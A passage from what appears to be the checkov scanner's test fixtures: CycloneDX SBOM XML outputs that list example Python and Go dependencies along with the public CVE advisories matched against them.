bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_BDS</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>DUMMY_OTHER_LICENSE</name>\n\t\t\t\t</license>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t</components>\n\t<dependencies>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\"/>\n\t</dependencies>\n\t<vulnerabilities>\n\t\t<vulnerability bom-ref=\"BomRef.22403314900954308.01535214566336851\">\n\t\t\t<id>CVE-2016-7401</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-7401</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-7401</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.</description>\n\t\t\t<recommendation>Fixed in 1.8.15</recommendation>\n\t\t\t<published>2016-10-03T20:59:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"BomRef.8067025523344813.15198246845376384\">\n\t\t\t<id>CVE-2018-1000656</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.</description>\n\t\t\t<recommendation>Fixed in 0.12.3</recommendation>\n\t\t\t<published>2018-08-20T21:31:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"BomRef.9785395635566393.5275718998665403\">\n\t\t\t<id>CVE-2019-19844</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-19844</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-19844</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>9.8</score>\n\t\t\t\t\t<severity>critical</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)</description>\n\t\t\t<recommendation>Fixed in 1.11.27</recommendation>\n\t\t\t<published>2019-12-18T20:15:00+01:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"BomRef.20424951851385542.10183169286898985\">\n\t\t\t<id>CVE-2020-26160</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-26160</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-26160</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.7</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\&quot;aud\\&quot;] (which is allowed by the specification). Because the type assertion fails, \\&quot;\\&quot; is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.</description>\n\t\t\t<recommendation>Fixed in 4.0.0rc1</recommendation>\n\t\t\t<published>2020-09-30T20:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"BomRef.3840352724320575.565171952882489\">\n\t\t\t<id>CVE-2020-29652</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-29652</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-29652</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.</description>\n\t\t\t<recommendation>Fixed in 0.0.2</recommendation>\n\t\t\t<published>2020-12-17T06:15:00+01:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"BomRef.9459328051425756.5378055948788857\">\n\t\t\t<id>CVE-2021-33203</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2021-33203</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2021-33203</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>4.9</score>\n\t\t\t\t\t<severity>medium</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.</description>\n\t\t\t<recommendation>Fixed in 2.2.24</recommendation>\n\t\t\t<published>2021-06-08T20:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t</vulnerabilities>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_with_comma_in_licenses.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<bom\n\txmlns=\"http://cyclonedx.org/schema/bom/1.4\" version=\"1\" serialNumber=\"urn:uuid:e9eec5ae-1257-469c-bd1e-14e9bca7e65c\">\n\t<metadata>\n\t\t<timestamp>2022-11-14T14:21:28.086242+00:00</timestamp>\n\t\t<tools>\n\t\t\t<tool>\n\t\t\t\t<vendor>CycloneDX</vendor>\n\t\t\t\t<name>cyclonedx-python-lib</name>\n\t\t\t\t<version>3.1.0</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/cyclonedx-python-lib/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://cyclonedx-python-library.readthedocs.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"release-notes\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/#readme</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t\t<tool>\n\t\t\t\t<vendor>bridgecrew</vendor>\n\t\t\t\t<name>checkov</name>\n\t\t\t\t<version>UNKNOWN</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/checkov/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://www.checkov.io/1.Welcome/What%20is%20Checkov.html</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/blob/master/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"social\">\n\t\t\t\t\t\t<url>https://twitter.com/bridgecrewio</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://www.checkov.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t</tools>\n\t</metadata>\n\t<components>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_BDS</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE</name>\n\t\t\t\t</license>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t</components>\n\t<dependencies>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\"/>\n\t</dependencies>\n\t<vulnerabilities>\n\t\t<vulnerability bom-ref=\"69e0f99c-5f34-447c-9aa1-f4fd9e6af2df\">\n\t\t\t<id>CVE-2016-6186</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-6186</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-6186</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>6.1</score>\n\t\t\t\t\t<severity>medium</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.</description>\n\t\t\t<recommendation>fixed in 1.9.8, 1.8.14</recommendation>\n\t\t\t<published>2016-08-05T17:59:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"3c07a782-7574-4399-93f1-bda736900de2\">\n\t\t\t<id>CVE-2016-7401</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-7401</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2016-7401</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.</description>\n\t\t\t<recommendation>fixed in 1.9.10, 1.8.15</recommendation>\n\t\t\t<published>2016-10-03T20:59:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"baff7fa5-8b92-406d-953d-e7a81c5f95db\">\n\t\t\t<id>CVE-2019-19844</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-19844</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-19844</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>9.8</score>\n\t\t\t\t\t<severity>critical</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)</description>\n\t\t\t<recommendation>fixed in 3.0.1, 2.2.9, 1.11.27</recommendation>\n\t\t\t<published>2019-12-18T20:15:00+01:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"e4c479ad-4c96-41fa-8033-fb42d43d673f\">\n\t\t\t<id>CVE-2021-33203</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2021-33203</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2021-33203</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>4.9</score>\n\t\t\t\t\t<severity>medium</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.</description>\n\t\t\t<recommendation>fixed in 3.2.4, 3.1.12, 2.2.24</recommendation>\n\t\t\t<published>2021-06-08T20:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"79801be4-d5f4-4f9c-9987-534478874995\">\n\t\t\t<id>CVE-2018-1000656</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.</description>\n\t\t\t<recommendation>fixed in 0.12.3</recommendation>\n\t\t\t<published>2018-08-20T21:31:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability 